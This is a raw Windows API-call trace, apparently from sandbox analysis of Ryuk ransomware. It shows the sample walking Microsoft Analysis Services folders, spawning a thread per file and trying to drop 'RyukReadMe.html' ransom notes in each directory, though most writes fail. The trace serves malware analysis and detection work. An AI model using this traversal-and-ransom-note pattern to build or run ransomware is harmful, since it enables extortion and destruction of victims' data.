	[0232.291] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x90, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1
	[0232.291] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf68
	[0232.293] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.293] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x90, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1
	[0232.294] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf6c
	[0232.297] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.297] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x90, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1
	[0232.297] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf70
	[0232.300] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.300] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x90, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1
	[0232.300] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf74
	[0232.302] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.303] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x90, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1
	[0232.303] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf78
	[0232.305] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.306] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x90, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1
	[0232.306] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf7c
	[0232.308] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.308] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x90, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1
	[0232.308] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf80
	[0232.311] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.312] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x90, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1
	[0232.312] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf84
	[0232.314] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.314] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x90, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0
	[0232.314] FindClose (in: hFindFile=0x7c810 | out: hFindFile=0x7c810) returned 1
	[0232.316] SetLastError (dwErrCode=0x0) 
	[0232.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.422] GetLastError () returned 0x5
	[0232.422] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0232.422] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.423] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x8a, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1
	[0232.423] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x8a, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1
	[0232.423] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x8a, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1
	[0232.423] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x8a, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1
	[0232.423] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0232.423] SetLastError (dwErrCode=0x0) 
	[0232.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.451] GetLastError () returned 0x5
	[0232.452] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0232.452] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.452] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c810
	[0232.452] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0232.452] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0232.452] SetLastError (dwErrCode=0x0) 
	[0232.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.453] GetLastError () returned 0x5
	[0232.453] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0232.453] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0232.454] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0232.455] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0xa4, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1
	[0232.455] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8c
	[0232.458] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.458] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0xa4, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1
	[0232.458] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf90
	[0232.460] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.461] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0xa4, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0
	[0232.461] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0232.461] SetLastError (dwErrCode=0x0) 
	[0232.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.461] GetLastError () returned 0x5
	[0232.461] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0232.461] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.462] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0232.462] FindClose (in: hFindFile=0x7c810 | out: hFindFile=0x7c810) returned 1
	[0232.462] SetLastError (dwErrCode=0x0) 
	[0232.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.462] GetLastError () returned 0x5
	[0232.462] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0232.462] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.462] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0
	[0232.462] FindClose (in: hFindFile=0x7c7b0 | out: hFindFile=0x7c7b0) returned 1
	[0232.463] SetLastError (dwErrCode=0x0) 
	[0232.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.463] GetLastError () returned 0x5
	[0232.463] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0232.463] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.463] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x78, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0
	[0232.463] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0232.464] SetLastError (dwErrCode=0x0) 
	[0232.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.464] GetLastError () returned 0x5
	[0232.464] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0232.464] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.464] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff057e90, ftCreationTime.dwHighDateTime=0x1d57937, ftLastAccessTime.dwLowDateTime=0xb0c07930, ftLastAccessTime.dwHighDateTime=0x1d5563f, ftLastWriteTime.dwLowDateTime=0xb0c07930, ftLastWriteTime.dwHighDateTime=0x1d5563f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x40, dwReserved1=0x0, cFileName="floppy.exe", cAlternateFileName="")) returned 1
	[0232.464] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd9cb20, ftCreationTime.dwHighDateTime=0x1d56965, ftLastAccessTime.dwLowDateTime=0x83245820, ftLastAccessTime.dwHighDateTime=0x1d56a76, ftLastWriteTime.dwLowDateTime=0x83245820, ftLastWriteTime.dwHighDateTime=0x1d56a76, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x40, dwReserved1=0x0, cFileName="pidgin.exe", cAlternateFileName="")) returned 1
	[0232.464] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c46de30, ftCreationTime.dwHighDateTime=0x1d55e11, ftLastAccessTime.dwLowDateTime=0x264cdad0, ftLastAccessTime.dwHighDateTime=0x1d552ef, ftLastWriteTime.dwLowDateTime=0x264cdad0, ftLastWriteTime.dwHighDateTime=0x1d552ef, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x40, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 1
	[0232.464] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c46de30, ftCreationTime.dwHighDateTime=0x1d55e11, ftLastAccessTime.dwLowDateTime=0x264cdad0, ftLastAccessTime.dwHighDateTime=0x1d552ef, ftLastWriteTime.dwLowDateTime=0x264cdad0, ftLastWriteTime.dwHighDateTime=0x1d552ef, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x40, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 0
